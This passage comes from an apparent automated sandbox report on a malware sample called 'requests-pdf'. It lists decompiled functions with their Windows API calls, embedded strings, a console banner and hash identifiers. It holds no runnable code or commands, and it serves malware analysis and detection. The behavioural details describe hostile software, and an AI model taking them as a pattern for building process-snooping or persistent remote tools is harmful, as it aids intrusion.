                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                    • String ID: KeepAlive | Disabled
                                                    • API String ID: 2993684571-305739064
                                                    • Opcode ID: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                    • Instruction ID: d6da77504ed7f85403cc54e6f32b3900d2337039667ff8d97479a9328fe4a552
                                                    • Opcode Fuzzy Hash: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                    • Instruction Fuzzy Hash: F8F0BBB19043007FDB1137759D0E66B7F58AB46325F00457FF892926F1DA38D890875B
                                                    Function 00419F32 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 00419F64
                                                    • PlaySoundW.WINMM(00000000,00000000), ref: 00419F72
                                                    • Sleep.KERNEL32(00002710), ref: 00419F79
                                                    • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 00419F82
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: PlaySound$HandleLocalModuleSleepTime
                                                    • String ID: Alarm triggered
                                                    • API String ID: 614609389-2816303416
                                                    • Opcode ID: 141847ae0a337ee7d375b115724b17f178aaf380715d2b927a7afb315ef2a384
                                                    • Instruction ID: 0fe531f7edf44dbbc4d7c544cb5d4c76277d8d7fe89cd9bd4aa838a143c441bc
                                                    • Opcode Fuzzy Hash: 141847ae0a337ee7d375b115724b17f178aaf380715d2b927a7afb315ef2a384
                                                    • Instruction Fuzzy Hash: 50E09A22A0422033862033BA7C0FC6F3E28DAC6B75B4100BFF905A21A2AE54081086FB
                                                    Function 0041BE6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041BF02), ref: 0041BE79
                                                    • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041BF02), ref: 0041BE86
                                                    • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041BF02), ref: 0041BE93
                                                    • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041BF02), ref: 0041BEA6
                                                    Strings
                                                    • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041BE99
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                    • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                    • API String ID: 3024135584-2418719853
                                                    • Opcode ID: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                    • Instruction ID: 2ebb83c1e7e70c4501562f07591cf8b091918c9767bda4cb27a2f29097fd03e7
                                                    • Opcode Fuzzy Hash: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                    • Instruction Fuzzy Hash: C7E04F62104348ABD31437F5BC8ECAB3B7CE784613B100536F612903D3EA7484448A79
                                                    Function 0044016A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 540239c3c7a8b78e424bcf486381df198cb5d8aead86a72beee1c9aef6a9193c
                                                    • Instruction ID: 5f24fa964153eb206603784754227e3bedeb81a57cd12874f4c303f17d5dd595
                                                    • Opcode Fuzzy Hash: 540239c3c7a8b78e424bcf486381df198cb5d8aead86a72beee1c9aef6a9193c
                                                    • Instruction Fuzzy Hash: FD71C231900216DBEB218F55C884ABFBB75FF55360F14026BEE10A7281D7B89D61CBA9
                                                    Function 025103D1 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: e2c0e9d55fcd13551ec2678028d06ddb1c515a5452d77a18986bab3fa9fe77ab
                                                    • Instruction ID: f302f06c895b0376ca16997d645f1e9994eff52d8cc0073b6a7bf168a0c757c7
                                                    • Opcode Fuzzy Hash: e2c0e9d55fcd13551ec2678028d06ddb1c515a5452d77a18986bab3fa9fe77ab
                                                    • Instruction Fuzzy Hash: 3971AF75901226DBEB218F94C884ABFBB79FF81364F154629EC55671C0D7B08DC1CBA8
                                                    Function 00410B19 Relevance: 7.7, APIs: 5, Instructions: 198memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 004105B9: SetLastError.KERNEL32(0000000D,00410B38,?,00000000), ref: 004105BF
                                                    • GetNativeSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410B15), ref: 00410BC4
                                                    • GetProcessHeap.KERNEL32(00000008,00000040,?,?,00000000), ref: 00410C2A
                                                    • RtlAllocateHeap.KERNEL32(00000000,?,?,00000000), ref: 00410C31
                                                    • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410D3F
                                                    • SetLastError.KERNEL32(000000C1,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410B15), ref: 00410D69
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$Heap$AllocateInfoNativeProcessSystem
                                                    • String ID:
                                                    • API String ID: 4001361727-0
                                                    • Opcode ID: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                    • Instruction ID: 414678d8c61d87a8872ee73c425a8c4ab38aff0ef96490e16bc3f9b9534d1ba0
                                                    • Opcode Fuzzy Hash: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                    • Instruction Fuzzy Hash: 1861C270200301ABD720DF66C981BA77BE6BF44744F04412AF9058B786EBF8E8C5CB99
                                                    Function 025141E2 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$AllocateHeap
                                                    • String ID:
                                                    • API String ID: 3033488037-0
                                                    • Opcode ID: 7bd75c35ecc30b271b00b77e92f4063212cf76abbfff81b413b55d476d69b5fb
                                                    • Instruction ID: 2b63cb10c84df4c82c6f12244e9e68fdccb98b229686462da1bf8b8d2703ff3e
                                                    • Opcode Fuzzy Hash: 7bd75c35ecc30b271b00b77e92f4063212cf76abbfff81b413b55d476d69b5fb
                                                    • Instruction Fuzzy Hash: CE51C131A00209AFEB24DF69DC41B6A7BF5FF48725F14166DE809DB250E731D941CB88
                                                    Function 02518276 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 025182E0
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 02518358
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 02518385
                                                    • _free.LIBCMT ref: 025182CE
                                                      • Part of subcall function 02516D2C: HeapFree.KERNEL32(00000000,00000000,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?), ref: 02516D42
                                                      • Part of subcall function 02516D2C: GetLastError.KERNEL32(?,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?,?), ref: 02516D54
                                                    • _free.LIBCMT ref: 0251849A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                    • String ID:
                                                    • API String ID: 1286116820-0
                                                    • Opcode ID: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                    • Instruction ID: b4950a89770e3db319934bcee40395f79a925a8ed7da30f060e96189ae90fb98
                                                    • Opcode Fuzzy Hash: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                    • Instruction Fuzzy Hash: D9511C71900209EBFB34EF6DDC859AEBBBDFF84354B14056AE454D31A0EB709941CB58
                                                    Function 0040E6A3 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                      • Part of subcall function 0041B15B: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B173
                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E6C1
                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0040E6E5
                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E6F4
                                                    • CloseHandle.KERNEL32(00000000), ref: 0040E8AB
                                                      • Part of subcall function 0041B187: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040E4D0,00000000,?,?,00474358), ref: 0041B19C
                                                      • Part of subcall function 0041B187: IsWow64Process.KERNEL32(00000000,?,?,?,00474358), ref: 0041B1A7
                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E89C
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                    • String ID:
                                                    • API String ID: 2180151492-0
                                                    • Opcode ID: 296a05bfb99c111a27fc262cb636efe6a000d6565ad7e80475f435e5bd850ba0
                                                    • Instruction ID: 1ccfc3ca83e07eb3b8bade3b71d1bee95701cef3987deea6625860c00c24977f
                                                    • Opcode Fuzzy Hash: 296a05bfb99c111a27fc262cb636efe6a000d6565ad7e80475f435e5bd850ba0
                                                    • Instruction Fuzzy Hash: F641E1311083415BC325F761D8A1AEFB7E9EFA4305F50453EF84A931E1EF389A49C65A
                                                    Function 00443098 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                    • Instruction ID: 1dbcf13812f0ad7c91f1b1cf961d24232ef3b5dad0ac29e3e9285c08b65e5f3f
                                                    • Opcode Fuzzy Hash: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                    • Instruction Fuzzy Hash: 4A41D532E002049FEB24DF79C881A5EB3A5EF89718F15856EE915EB341DB35EE01CB84
                                                    Function 025132FF Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                    • Instruction ID: 62c551684d94885520d57b7a84ac50d809137622f7f8f688f5e873a5f908cba8
                                                    • Opcode Fuzzy Hash: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                    • Instruction Fuzzy Hash: CE41B132A00214AFEB24DF78C891A5EBBB6FFC4314B1545A9D915EB391DB31A901CB88
                                                    Function 0044FED3 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0042CE53,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53), ref: 0044FF20
                                                    • __alloca_probe_16.LIBCMT ref: 0044FF58
                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,0042CE53,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53,?), ref: 0044FFA9
                                                    • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,?,?,00000001,0042CE53,0042CE53,?,00000002,?), ref: 0044FFBB
                                                    • __freea.LIBCMT ref: 0044FFC4
                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                    • String ID:
                                                    • API String ID: 313313983-0
                                                    • Opcode ID: e53b112c27c8f78300b60669bd3e779d88e901d1b4b0f4bdaec59810f61dd2f3
                                                    • Instruction ID: fd0d2a6e26420063bd1679c32ed8e9021f1b2be81e6a043fb7466d0fa567ef17
                                                    • Opcode Fuzzy Hash: e53b112c27c8f78300b60669bd3e779d88e901d1b4b0f4bdaec59810f61dd2f3
                                                    • Instruction Fuzzy Hash: 9831FE32A0021AABEF248F65DC41EAF7BA5EB05314F05017BFC04D6290EB39DD58CBA4
                                                    Function 0044E13B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetEnvironmentStringsW.KERNEL32 ref: 0044E144
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044E167
                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044E18D
                                                    • _free.LIBCMT ref: 0044E1A0
                                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044E1AF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                    • String ID:
                                                    • API String ID: 336800556-0
                                                    • Opcode ID: 1c337325f04e7d1350835243513ef37ea9cf72bd865eed212f137dea6565717b
                                                    • Instruction ID: 38685928f53d0fdec7f9771a1fbcf5508afe04d06d5fe5a1692e2fd93afee85f
                                                    • Opcode Fuzzy Hash: 1c337325f04e7d1350835243513ef37ea9cf72bd865eed212f137dea6565717b
                                                    • Instruction Fuzzy Hash: 8201B1726417117F73215ABB6C8CC7B6A6DEEC2BA2315013ABD04D6201DA788C0291B9
                                                    Function 0251E3A2 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetEnvironmentStringsW.KERNEL32 ref: 0251E3AB
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0251E3CE
                                                      • Part of subcall function 02516D66: RtlAllocateHeap.NTDLL(00000000,0250468A,?), ref: 02516D98
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0251E3F4
                                                    • _free.LIBCMT ref: 0251E407
                                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0251E416
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                    • String ID:
                                                    • API String ID: 336800556-0
                                                    • Opcode ID: a9616c8c015984253ca72814521cc13fd9597de4e0bdad696dd641cecd3264f2
                                                    • Instruction ID: 9e2fe1893a7da2efe70e74efc54aad7a2bc886a7083b55c829738a12c60fe94a
                                                    • Opcode Fuzzy Hash: a9616c8c015984253ca72814521cc13fd9597de4e0bdad696dd641cecd3264f2
                                                    • Instruction Fuzzy Hash: C00184726057157B372216B66C8ECBB7E6DFECAEA53140139FD04C3201EBA18C02C5B9
                                                    Function 00446F43 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,00000000,00000000,0043A7C2,00000000,?,?,0043A846,00000000,00000000,00000000,00000000,00000000,00000000,00402C08,?), ref: 00446F48
                                                    • _free.LIBCMT ref: 00446F7D
                                                    • _free.LIBCMT ref: 00446FA4
                                                    • SetLastError.KERNEL32(00000000), ref: 00446FB1
                                                    • SetLastError.KERNEL32(00000000), ref: 00446FBA
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free
                                                    • String ID:
                                                    • API String ID: 3170660625-0
                                                    • Opcode ID: d9a11e8b10a3382acc57acd06360e0df9f500200efacd02ff515e0ca4c66fe47
                                                    • Instruction ID: 6bd692df8320938abc1815071491dbd9703328d73d2f54107518a18b095bb187
                                                    • Opcode Fuzzy Hash: d9a11e8b10a3382acc57acd06360e0df9f500200efacd02ff515e0ca4c66fe47
                                                    • Instruction Fuzzy Hash: 7401D13620C70067F61266757C85D2F266DDBC3B66727013FF958A2292EE2CCC0A452F
                                                    Function 025171AA Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,00000000,00000000,0250AA29,00000000,?,?,0250AAAD,00000000,00000000,00000000,00000000,00000000,00000000,024D2E6F,?), ref: 025171AF
                                                    • _free.LIBCMT ref: 025171E4
                                                    • _free.LIBCMT ref: 0251720B
                                                    • SetLastError.KERNEL32(00000000), ref: 02517218
                                                    • SetLastError.KERNEL32(00000000), ref: 02517221
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free
                                                    • String ID:
                                                    • API String ID: 3170660625-0
                                                    • Opcode ID: d9a11e8b10a3382acc57acd06360e0df9f500200efacd02ff515e0ca4c66fe47
                                                    • Instruction ID: 3a639da3f2497c25fca738d20e5f3c51656b1ae7a21066e4a72884d489f1331e
                                                    • Opcode Fuzzy Hash: d9a11e8b10a3382acc57acd06360e0df9f500200efacd02ff515e0ca4c66fe47
                                                    • Instruction Fuzzy Hash: C201F93614470267F313267CAC44A2F6A6FFBC9761B250439F42892195EF35C842851C
                                                    Function 0041B37D Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                    • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                    • GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 0041B3C8
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041B3D3
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041B3DB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpen$FileImageName
                                                    • String ID:
                                                    • API String ID: 2951400881-0
                                                    • Opcode ID: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                    • Instruction ID: bb9aee54fd4b55ef2446b45ef4d52834339351c189d8e7c886657dc3bd6b5f1d
                                                    • Opcode Fuzzy Hash: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                    • Instruction Fuzzy Hash: 2FF04971204209ABD3106754AC4AFA7B27CDB40B96F000037FA61D22A1FFB4CCC146AE
                                                    Function 024EB5E4 Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 024EB5FC
                                                    • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 024EB60F
                                                    • GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 024EB62F
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 024EB63A
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 024EB642
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseHandleOpen$FileImageName
                                                    • String ID:
                                                    • API String ID: 2951400881-0
                                                    • Opcode ID: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                    • Instruction ID: 484487dcb2e8a844f5a8be27419600b0b65f281bec99d77399d0a4d65aeaea76
                                                    • Opcode Fuzzy Hash: 51a17e5294b38f17d5f3a71b1001121c929f89ba237b4680bf25dfaaaa51ef0d
                                                    • Instruction Fuzzy Hash: 04F0F9B12042156BFB116764AC59F7BB26CEB84B9BF000177F617D22A1EF70CC814A66
                                                    Function 0044F79D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 0044F7B5
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 0044F7C7
                                                    • _free.LIBCMT ref: 0044F7D9
                                                    • _free.LIBCMT ref: 0044F7EB
                                                    • _free.LIBCMT ref: 0044F7FD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
